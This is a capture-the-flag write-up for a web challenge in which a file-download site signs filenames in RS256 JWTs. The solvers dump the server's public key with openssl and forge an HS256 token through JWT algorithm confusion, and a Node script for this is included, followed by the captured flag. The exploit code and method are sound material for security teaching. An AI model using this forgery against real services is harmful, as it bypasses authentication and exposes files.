FILE ROVER - WEB 200

During lift-off preparation, the main engine hydrogen burnoff system (MEHBS) activation fails. R-Boy gets stuck trying to restore an encrypted back-up of the MEHBS. Another crew member remembers the key is stored on a remote file sharing service. Without a working MEHBS the liftoff cannot continue. Can you help R-Boy find the key for the MEHBS back-up?

On the website we are presented with a list of files to download, codewise is a list of link including a JWT token

```
            <tr>
                <td>future.jpg</td>
                <td>759043 Bytes</td>
                <td class="download-col">
                    <a href="download.php?
file=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJmaWxlbmFtZSI6IjdiNDIxZGYxMWE1M2UzM2Q5MjllZjRjMDI
jgzIn0.dNHioi9RiEpyUtcOD6G5CBXU0EUi2HTl05eOvkFecmyoFyn5CWq5ExbwYLX8QE85qBaskOT-
mtq3_XWwTxmGIKhPg8eOVuqqhU7nCg2eEdKwp-mjaPBnmDfBinvcfXEhItLi8T1hmMVgxaWSxQ1ZZKu4t-
SFbuHOgesE6s9oBBiFMX92HSJbE3PnpAp6y6CYsI4hXBdzfAXERfmV0lV8-SRtKgKFwVTI-zmBlEGSReszw-
NoDgGfFGF9e1tKjVb8sE3o5IYv5M5AmDjs8qWe5JO39IQeTJqn4r6Db6zPWjHKlheqFLrfytWQF9MvjDRU5CIu3tIRWYn
3Slrw" title="Download File" target="_blank" class="btn btn-primary" role="button">Download</
                </td>
            </tr>

            <tr>
                <td>future_license.txt</td>
                <td>117 Bytes</td>
                <td class="download-col">
                    <a href="download.php?
file=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJmaWxlbmFtZSI6IjhhNTNlMGE4NzMyMGNiMGMxYzcyMzk3MWI
WM5In0.NSj7g40IxjYSyrd0trcOx3D7asZsnMfJGYAtruJk-q1V2Qm-
JBroOeWslKRMP96ppWVD5ltzBlCWIOwekL4NLNtct1tgm4Td9pez8bmIweEBkMgxEv0S_pAtFCaSzV-SVQ-
t0I8S3VcFHL8035HWbBdgacAnwGxvAX8XWgkqz8iCau-
VmKyfi5iZhl_rgF1_AMazExqUWz53vdPfx9roP_lKTMiQn9Oq3uB_iBFyq1TPkwFi6NzG5BkAT54HK1qCcR63dU8GqzCk
O_QvufyYk404QIw39AJhOUfWkOsjCqwI_wO0YPIVgY-UwBjOXbQNHDVlG0wu1Cmj74AA" title="Download File"
target="_blank" class="btn btn-primary" role="button">Download</a>
                </td>
            </tr>
            <!--
            <tr>
                <td>groggy-fan-cat.jpg</td>
```

The JWT content is the following

HEADER:

```
{
  "typ": "JWT",
  "alg": "RS256"
}
```

PAYLOAD:

```
{
  "filename":
"7b421df11a53e33d929ef4c025f79f83"
}
```

Algorithm: RS256 (private key signing, public key verification)
Filename is the md5 on the filename given by the website

Our exploit is about changing the signing algorithm in order to fool the JWT library. When we change it from Private/Public key one to a Static key one the JWT library use the public key as the static key.

The server had a self signed certificate so we supposed that its keys where the same used by JWT. So we dumped the server public key

$ openssl s_client -showcerts -connect gamebox3.reply.it:20443 </dev/null

Then, we extracted the public key from the certificate and used it in our script to sign a JWT with the filename md5(flag.txt) (flag.txt was on the website filelist, but without a JWT)

```
const jwt = require("jsonwebtoken");

var payload = { filename: "159DF48875627E2F7F66DAE584C5E3A5".toLowerCase() };

var signOptions = {
  expiresIn: "12h",
  algorithm: "HS256"
};

var pub =
  "2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676
var p = Buffer.from(pub, "hex");

var token = jwt.sign(payload, p, signOptions);

console.log(token);
```

Once we got the correct JWT we used it in the website and downloaded flag.txt

{FLG:n0_b4ckup_n0_m3rcy}